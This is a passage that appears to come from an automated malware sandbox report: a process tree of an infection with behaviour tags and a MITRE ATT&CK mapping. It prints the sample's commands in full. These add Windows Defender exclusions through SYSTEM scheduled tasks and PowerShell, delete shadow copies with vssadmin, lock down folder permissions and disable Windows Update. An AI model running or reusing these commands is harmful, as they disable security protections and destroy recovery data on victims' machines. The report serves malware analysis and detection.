  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5172
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5328
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:812
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5356
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5428
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2900
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5452
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5552
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1360
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5504
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4972
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5704
- C:\Program Files (x86)\iUaQQ6\iUaQQ6.exe
  "C:\Program Files (x86)\iUaQQ6\iUaQQ6.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:1832
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:740
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iUaQQ6" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:644
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iUaQQ6" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1260
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1136
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4328
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5208
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iUaQQ6" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4960
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iUaQQ6" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2020
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iUaQQ6" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2696
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iUaQQ6" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5428
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iUaQQ6\iUaQQ6.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2004
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iUaQQ6\iUaQQ6.exe" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4232
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iUaQQ6\iUaQQ6.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:812
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iUaQQ6\iUaQQ6.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3880
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iUaQQ6\iUaQQ6.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5552
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iUaQQ6\iUaQQ6.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5344
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iUaQQ6\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5232
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iUaQQ6\image.png" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4236
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iUaQQ6\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5368
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iUaQQ6\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5704
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iUaQQ6\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5664
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iUaQQ6\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5460
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iUaQQ6\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5468
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iUaQQ6\thumbs.db" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5136
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iUaQQ6\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5272
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iUaQQ6\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5932
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iUaQQ6\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4148
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iUaQQ6\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1968
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iUaQQ6\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1480
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iUaQQ6\XPSPLOG.dll" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:6064
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iUaQQ6\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5688
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iUaQQ6\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:452
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iUaQQ6\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2088
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iUaQQ6\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1796
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4712
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:632
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\iUaQQ6\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5036

C:\Users\Public\wLzamD\tBibF0.exe
"C:\Users\Public\wLzamD\tBibF0.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4128

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\wLzamD" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5132
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\wLzamD" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3748

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5396

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4796
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5520

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5692
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2828

C:\Program Files (x86)\iUaQQ6\iUaQQ6.exe
"C:\Program Files (x86)\iUaQQ6\iUaQQ6.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4444

C:\Program Files (x86)\iUaQQ6\iUaQQ6.exe
"C:\Program Files (x86)\iUaQQ6\iUaQQ6.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4428

C:\Program Files (x86)\OGScYJ\oFju7.exe
"C:\Program Files (x86)\OGScYJ\oFju7.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3168

C:\ProgramData\cwdiHJOa.exe
C:\ProgramData\cwdiHJOa.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4724

C:\ProgramData\qGCu3bVN\mVohIxuk.exe
C:\ProgramData\qGCu3bVN\mVohIxuk.exe
1⤵
- UAC bypass
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- System policy modification
PID:964

C:\ProgramData\KyTYZSeP\Ueoi2IYB.exe
C:\ProgramData\KyTYZSeP\Ueoi2IYB.exe 1776
1⤵
- Executes dropped EXE
- Modifies trusted root certificate store through registry
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:1164

C:\Program Files (x86)\OGScYJ\oFju7.exe
"C:\Program Files (x86)\OGScYJ\oFju7.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2036

C:\Program Files (x86)\iUaQQ6\iUaQQ6.exe
"C:\Program Files (x86)\iUaQQ6\iUaQQ6.exe"
1⤵
PID:4252

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry